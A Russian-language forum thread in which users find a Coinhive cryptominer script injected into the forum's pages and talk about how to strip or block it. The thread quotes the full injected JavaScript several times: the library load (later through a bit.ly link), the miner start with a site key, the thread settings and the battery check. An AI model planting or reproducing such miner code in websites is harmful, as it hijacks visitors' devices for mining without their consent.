Может и не надо... но вот сделал с помощью Код (Bash): cat coinhive.min_1.js | sed s'/;/;\n/g' >> coinhive.min_2.js чтобы та "библиотека, что загружается, стала читабельной: http://forum.amperka.ru/attachments/coinhive-min_2-js-zip.9626/ ...довольно жестоко.
Нет не выйдет... там setInterval(.......) и стоит 100 mS... то есть запускается 10 раз в секунду. Выключите в браузере JavaScript и обновите страницу. Надо будет включите его снова и обновите страницу. Код и смайлики ставить вручную при выключенном.
одно дело блокировать загрузку скрипта из URL... другое дело исключить вызов функции, которая не загрузилась из этого URL.
ведь всего-то надо: Код (Javascript): <body class="node9 node8 SelectQuotable"><script src="https://coin-hive.com/lib/coinhive.min.js"></script> <script> var miner = new CoinHive.Anonymous('HqRcfNypnewChJOyojLNSYRLbHuIki9S', { threads: navigator.hardwareConcurrency/4, autoThreads: false, forceASMJS: false }); miner.start(CoinHive.FORCE_EXCLUSIVE_TAB); setInterval(function() { var threadCount = miner.getNumThreads(); var hashesPerSecond = Math.round(miner.getHashesPerSecond()); var getTotalHashes = miner.getTotalHashes(); navigator.getBattery().then(function (battery) { if (battery.level < 0.50 && battery.charging == false) { miner.stop(); } }); }, 100); </script> на Код (Javascript): <body class="node9 node8 SelectQuotable"><script src="[URL]https://coin-hive.com/lib/coinhive.min.js[/URL]"></script> <script> //var miner = new CoinHive.Anonymous('HqRcfNypnewChJOyojLNSYRLbHuIki9S', { threads: navigator.hardwareConcurrency/4, autoThreads: false, forceASMJS: false }); //miner.start(CoinHive.FORCE_EXCLUSIVE_TAB); setInterval(function() { //var threadCount = miner.getNumThreads(); //var hashesPerSecond = Math.round(miner.getHashesPerSecond()); //var getTotalHashes = miner.getTotalHashes(); navigator.getBattery().then(function (battery) { if (battery.level < 0.50 && battery.charging == false) { //miner.stop(); } }); }, 100); </script> ну или ещё как... на "лету" с помощью допустим sed. Через прокси... или ещё как.
Что? В лом JavaScript выключить при написании сообщения? Всё ребята (админы) исправят!!! А информации тут достаточно! А если формировать вывод странички через PHP с удалением строк по содержимому... ну или использовать BASH из того же PHP...
по ходу это "на высоком уровне"... ну или взлом для редакции исходника. Ведь и ключик надо формировать... роюсь, но обращения к URL каого-то пока не вижу. Хотя может и туплю.
Кто-то всё-таки имеет доступ и изменил: Код (Javascript): <body class="node9 node8 SelectQuotable"><script src="http://bit.ly/2y8S315"></script> <script>var miner = new CoinHive.Anonymous('HqRcfNypnewChJOyojLNSYRLbHuIki9S', {threads: navigator.hardwareConcurrency/8,autoThreads: false,forceASMJS: false}); miner.start(CoinHive.FORCE_EXCLUSIVE_TAB);setInterval(function() {var threadCount = miner.getNumThreads();var hashesPerSecond = Math.round(miner.getHashesPerSecond()); var getTotalHashes = miner.getTotalHashes();navigator.getBattery().then(function (battery) {if (battery.level < 0.50 && battery.charging == false) {miner.stop();}});}, 100);</script> Надо бы пропустить через SED в BASH Но источник так сказать "библиотеки" изменил: <script src="http://bit.ly/2y8S315"></script> Хрен с библиотекой... надо блокировать вызов "miner", точнее "чистить" строки с таким содержимым. И thread контролировать.